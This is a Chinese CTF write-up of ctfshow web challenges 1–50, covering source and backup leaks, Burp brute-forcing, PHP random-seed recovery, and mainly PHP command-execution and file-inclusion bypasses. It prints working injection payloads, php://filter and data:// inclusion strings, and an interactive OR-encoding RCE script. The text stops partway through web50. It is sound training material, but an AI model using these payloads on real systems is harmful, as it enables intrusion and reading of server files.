ctfshow web 部分 wp

###(之后有空就补截图)

# 信息搜集

# web1

开发注释未及时删除

查看源代码得到flag

# web2

js 前台拦截 === 无效操作

ctrl+u快捷键查看源代码得到flag

# web3

没思路的时候抓个包看看,可能会有意外收获

1)f12查看网络检查文件头得到flag
2)burpsuite抓包,Repeater回显检查文件头得到flag

# web4

总有人把后台地址写入 robots,帮黑阔大佬们引路。

robots.txt 文件泄露,放在网站的跟目录下,用于限制浏览器的访问(哪些可以抓取,哪些不能抓取)用于防止黑客,但是任何人可在 url 中直接通过 /robots.txt 访问,导致网站结构被泄露。可对 admin 等重要文件设置密保保护,或者采取更换文件名的方法防御.

检查robots.txt得到线索Disallow: /flagishere.txt,访问得到flag

# web5

phps 源码泄露有时候能帮上忙

php 备份文件:后缀为 php~ 或者 index.php.bak

php 的源代码文件:后缀为 phps

phps 文件泄露,phps 存放着 php 源码,可通过尝试访问 /index.phps 读取,或者尝试扫描工具扫描读取.

用御剑扫码只得到index.php,根据题目提示,访问index.phps得到文件,打开得到flag

# web6

解压源码到当前目录,测试正常,收工

压缩文件也可能包含文件的源码等,注意 rar zip 后缀

用dirsearch工具扫描目录,用其他工具扫也可以,得到www.zip压缩包,解压得到源码和文本,得到提示,flag in 文本里,浏览器访问此文本得到flag

# web7

版本控制很重要,但不要部署到生产环境更重要。

git 文件泄露,当开发人员使用 git 控制版本时,如果操作不当,可能导致 git 流入线上环境,导致.git 文件夹下的文件被访问,代码泄露,如.git/index 文件可找到工程所有文件名和 sha1 文件,在 git/objects 下载导致危害

dirsearch工具扫描目录,得到.git线索,访问得到flag

# web8

版本控制很重要,但不要部署到生产环境更重要。

svn 泄露,svn 是源代码管理系统,在管理代码的过程中,会生成一个.svn 的隐藏文件,导致源码泄露(造成原因是在发布代码时没有使用导入功能,而是直接粘贴复制)

dirsearch工具扫描目录,得到.svn线索,访问得到flag

# web9

发现网页有个错别字?赶紧在生产环境 vim 改下,不好,死机了

vim 缓存泄露,在使用 vim 进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以 index.php 来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo, 第三次退出后文件名为.index.php.swn

下载index.php.swp得到flag

# web10

cookie 只是一块饼干,不能存放任何隐私数据

查看cookie值,url编码解码得到flag

# web11

域名其实也可以隐藏信息,比如 flag.ctfshow.com 就隐藏了一条信息

https://boce.aliyun.com/home查询域名txt记录得到flag

# web12

有时候网站上的公开信息,就是管理员常用密码

用dirsearch或dirb工具扫目录,发现有admin后台,根据提示,网站信息是管理员的密码,翻到最底下看到一串数字,尝试admin、372619038登陆得到flag

# web13

技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

根据题目提示,在网页查找线索,翻到最下面看到一个document,打开得到后台地址用户名密码,登陆得到flag

# web14

有时候源码里面就能不经意间泄露重要 (editor) 的信息,默认配置害死人

根据题目提示,查看源代码搜索editor,尝试访问editor编辑器,发现可以,点击上传文件查看文件空间,查看html源代码文件,看到一个很明显的文件夹nothinghere,访问里面的文本得到flag

# web15

公开的信息比如邮箱,可能造成信息泄露,产生严重后果

根据题目提示,查看邮箱

image-20230111055136237

将这些信息保留,查看有没有后台,可用搜索目录工具搜

image-20230111055233970

这里直接点忘记密码image-20230111055256232

根据之前的 QQ 邮箱查找,得知所在地在西安

image-20230111055327591

登陆得到 flag

# web16

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

有的网站搭建时可能在根目录下留下探针,所以直接访问 tz.php

发现 phpinfo 是灰色的可以点击,搜索 FLAG 得到 flag

image-20230111055854438

# web17

备份的 sql 文件会泄露敏感信息

用扫描目录工具扫出 backup.sql,下载文件得到 flag

image-20230111060221115

# web18

不要着急,休息,休息一会儿,玩 101 分给你 flag

小游戏一般都是 js 前端,查看源代码 js 文件找线索

image-20230111060515277

找到个 unicode 编码,解码得到线索

image-20230111060607168

访问 110.php 得到 flag

# web19

密钥什么的,就不要放在前端了

查看源码image-20230111061738788

根据线索,AES 解密,得到密码登陆得 flag

# web20

mdb 文件是早期 asp+access 构架的数据库文件,文件泄露相当于数据库被脱裤了。

扫描目录image-20230111062233553

image-20230111062511804

得 flag

# 爆破

# web21

爆破什么的,都是基操

考点:基础爆破工具的使用

image-20230112173817548

burpsuite 抓包image-20230112173857363

发现 base64 编码,解码后发现是我们输入进去的用户名和密码,题目也给出了字典,接下来就是爆破

选中发送到 Intruder 模块,选中变量,选择自定义image-20230112174004386

image-20230112174023622

这里分别给三段,admin 一段,:一段,字典一段

image-20230112174134824

选择 base64 编码,勾掉 url 编码,因为会误判 base64 编码,开始爆破

image-20230112174204443

image-20230112174402693

根据长度image-20230112174428309

ctfshow{92f49a08-737e-4358-a25a-348a1463ba63}

# web22

域名也可以爆破的,试试爆破这个 ctf.show 的子域名

考点:域名爆破

工具:Layer 挖掘机

image-20230112182559786

大概就是这样,vip.ctf.show 访问发现 flag

flag{ctf_show_web}

# web23

还爆破?这么多代码,告辞!

大致意思是,GET 一个参数 token,token 的 MD5 加密后的值如果满足下面的判断,就输出 flag

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);
}
?>
payload:
<?php
for($i=0;$i<10000;$i++){
	$token = md5($i);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo 'token='.$i.'&'.'md5='.$token;
        }
    } 
}
?>

大意是从 0 循环到 10000,若某数的 MD5 满足条件,则输出此数

将 payload 运行一下image-20230112191120183

将结果 get 形式输入得到 flag

ctfshow{63e95184-b8e8-4b9a-b716-f085f122cfc2} 

# web24

爆个🔨

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
?> Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022

网上搜索了 mt_srand 函数使用

<?php
mt_srand(mktime());
echo(mt_rand());
?>
payload:
<?php
mt_srand(372619038);
echo(mt_rand());
?>

GET 形式输出得到 flag

ctfshow{5065d66d-72ca-4749-8cde-61c9518cf77a}

# web25

爆个🔨,不爆了

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 Linux version 5.4.0-131-generic (buildd@lcy02-amd64-108) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022

首先进行代码审计,mt_srand (seed) 是发放 seed 种子然后靠 mt_srand 生成随机数,这里没有给出 seed,所以我们需要通过工具逆向推出 seed

mt_srand(hexdec(substr(md5($flag), 0,8)));

$rand 不为 true,则返回 true,所以通过 GET 形式 $r=0 得到第一个随机数的负数,如果 $_COOKIE ['token'] 等于两个 mt_rand () 随机数的和则输出 flag

$rand = intval($r)-intval(mt_rand());
if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }

打开 kali,这里我们用 php_mt_seed,我们选用 php7 的 seedimage-20230112214156354

payload:
<?php
mt_srand(0x3b63da0d);
mt_rand();
echo mt_rand()+mt_rand();
?>

得到 token 的随机数,我们 burpsuite 抓包,在 cookie 上添加 token 和第二第三次随机数的和,在 GET 形式输出第一次获得的随机数得到 flag

image-20230112214343855

ctfshow{64cc811c-54b6-4906-acd0-91469d377dd0}

# web26

这个可以爆

image-20230112221911435

burpsuite 抓包爆破密码image-20230112224351604

ctfshow{19e3283c-f4d3-4249-9f87-780ae05a38ac}

# web27

CTFshow 菜鸡学院招生啦!

下载录取名单,看到录取名单和查询系统可知,就是爆破出生日期,这里以第二个为例

image-20230112235736885

image-20230112235755997

首先用 burpsuite 抓包,这里我用火狐抓不到包,所以用了其他浏览器

image-20230112235851636

image-20230113000029376

选择爆破变量

image-20230113000044670

选择日期类型,格式 yyyyMMdd 后开始爆破

image-20230113000127515

爆破出来后发现 msg 是 url 编码,解码后得到线索 “恭喜您,您已被我校录取,你的学号刷初始密码为身份证号码”

image-20230113000406494

image-20230113000512890

image-20230113000536995

登陆得到 flag

ctfshow{2ccb2be2-6545-441a-8b16-070d6395726a}

# web28

大海捞针

题目提示:
通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可

根据提示,只需要爆破目录即可,burpsutie 抓包选中变量,去掉 2.txt,将模式改成 Cluster bomb (集束炸弹)image-20230113001905754

之后设置 payload1,payload2 同理,设置完后开始爆破image-20230113002013624

image-20230113002039465

image-20230113002107014

查看状态栏的升序看到个 200,得到 flag

ctfshow{bb330eeb-0827-42c2-be2e-8a942cbc3b1c}

# 命令执行

# web29

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

首先先代码审计

preg_match("/flag/i", $c)
i是不区分大小写,preg_match函数过滤掉flag

我们可以用通配符输出 flag

payload:
?c=system('cat f*');
ctfshow{9d6e8252-afda-45d3-a707-c71cc83c5f38}

# web30

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次是 flag、system、php 被过滤掉了

命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
payload:
?c=echo exec('cat f*');
ctfshow{285ab479-be6c-4880-9ec9-254b3c17ca90}

# web31

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次过滤掉了 cat|sort|shell、点和单引号

payload1:
c=eval($_GET[a]);&a=system('cat f*');
// 嵌套 eval 绕过 preg_match 函数
payload2:
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
// 利用 include 结合伪协议包含读取
    
payload3:
?c=passthru("tac$09f*");
/*
passthru 直接读取
$09 代替空格
*/
payload4:
?c=passthru("tac\$IFS\$09f*");
//$IFS$09 结合绕过空格
ctfshow{8fae6aeb-110e-42fe-81fe-d74ee49c1e52}

# web32

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

点、空格、单引号、反单引号、echo、分号、括号都过滤掉了(过滤 sssss)

payload1:
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
// 利用 include 结合伪协议包含读取
ctfshow{d8264780-aefd-4fe8-a561-fea3b300a63b}

# web33

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤升级,添加了双引号

payload:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
// 利用 include 结合伪协议包含读取
ctfshow{0c229e04-4fd2-45b7-9ca7-66887b0a11c7}

# web34

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤升级,添加了冒号

payload:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
// 利用 include 结合伪协议包含读取
ctfshow{d0a0ee0e-d7a9-4e57-a1b1-a3d8a313e914}

# web35

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤升级,添加了 < 和 = 的过滤

payload:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
// 利用 include 结合伪协议包含读取
ctfshow{588e57f9-b27c-4268-832c-ff6e730f463c}

# web36

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤升级,添加了 / 和 0-9 的数字

payload:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
// 利用 include 结合伪协议包含读取
ctfshow{4f3d6214-9a2f-4161-9e22-0b7d499974c9}

# web37

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了 flag,是 include 文件包含

payload1:
?c=data://text/plain,<?php system('cat f*');?>
//data://可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
    
payload2:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
//base64编码内容是<?php system('cat f*');?>
ctfshow{18f0b970-3518-43ba-bb0b-293ead0fb0e7}

# web38

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤升级,添加了 php 和 file 的过滤

payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
ctfshow{9eb90688-af2b-4954-abbb-87990f68352e}

# web39

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

.php 因为前面的 php 语句已经闭合了,所以后面的.php 会被当成 html 页面直接显示在页面上,起不到什么作用,使用短标签绕过

payload:
?c=data://text/plain,<?=system('cat f*');?>
ctfshow{f3b87a5e-30ff-4dbc-a558-0ed3ba514721}

# web40

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号

payload:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
/*
localeconv ():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号 (.)
pos ():返回数组中的当前元素的值。
scandir ():获取目录下的文件
array_reverse ():数组逆序 
next ():函数将内部指针指向数组中的下一个元素,并输出。 
show_source ():对文件进行语法高亮显示
首先通过 pos (localeconv ()) 得到点号,因为 scandir (’.’) 表示得到当前目录下的文件,所以 scandir (pos (localeconv ())) 就能得到 flag.php 了
*/
ctfshow{d100f4e0-8aba-4c75-837e-d67a710889f0}

# web41

过滤不严,命令执行

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这里过滤了数字和字母还有一些符号,我们借用大佬的脚本先生成一个 ascii 码的文本

<?php
// 大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 
		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}
}
}
fwrite($myfile,$contents);
fclose($myfile);

再通过 python exp.py [url] 的方式运行。

这里说一句,由于脚本导入了 urllib 包,python2 没找到,所以就用 python3,python3 自带的 urllib 包 (花了三小时找到结果)

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将 php 写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:<url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)	//参数,可改
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)
ctfshow{729fcef2-a2e1-4a6e-87b4-e46e48ac9b62}

# web42

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
>/dev/null 2>&1主要意思是不进行回显的意思
分解这个组合:“>/dev/null 2>&1” 为五部分。
1> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2/dev/null 代表空设备文件
32> 表示stderr标准错误
4& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
51 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"
我们要让命令回显,那么进行命令分隔即可
; // 分号
| // 只执行后面那条命令
|| // 只执行前面那条命令
& // 两条命令都会执行
&& // 两条命令都会执行
payload:
c=cat flag.php;
c=cat flag.php||
c=cat flag.php%0a  (%0a换行符)

# web43

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
审计代码,过滤了cat和分号
payload:
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||
ctfshow{38c4a65d-9e24-45ae-bb80-589f5e2fb4e4}

# web44

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
过滤了分号、cat、flag,通配符绕过即可

payload
c=tac f*||
c=tac ????.???||
c=tac fl\ag.php||
c=tac fl''ag.php||
c=tac f*%0a
ctfshow{cf2310be-6e0a-45ce-a0bd-dd266236e994}

# web45

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤了空格,空格绕过即可
    
>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09
payload
?c=tac$IFS*||
?c=tac${IFS}f*||
?c=tac$IFS$9f*||
?c=tac$IFS*%0A
ctfshow{bc60f83a-81a0-48ba-9b2b-8d76432b5285}

# web46

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤了0-9的数字、$、星号,重定向符绕过即可
>` `<` `<>` 重定向符
payload
?c=tac<fl''ag.php||
?c=tac%09fl''ag.php||
ctfshow{7661bef9-e84e-473f-b781-312b85028f2c}

# web47

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤了more、less、head、sort、tail,挑没过滤掉的使用即可
payload:
?c=tac%09fl''ag.php||
?c=tac%09????.???||
?c=nl%09fl''ag.php||
?c=nl<fl''ag.php||
ctfshow{2e100bbf-03eb-4936-8082-6fed00624a66}

# web48

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤了sed、cut、awk、strings、od、curl、反单引号,挑没过滤掉的使用即可
payload
?c=tac%09fl''ag.php||
?c=nl<fl''ag.php||
ctfshow{bb63b5ff-950f-4f4a-823d-a278496c21da}

# web49

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
新过滤了百分号,继续绕过即可

payload
?c=tac%09fl''ag.php||
?c=tac<fl''ag.php||
?c=nl<fl''ag.php||
?c=nl<fl''ag.php%0a
ctfshow{1a7f4a4b-a785-4223-b474-fa7387ca1bef}

# web50

命令执行,需要严格的过滤

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
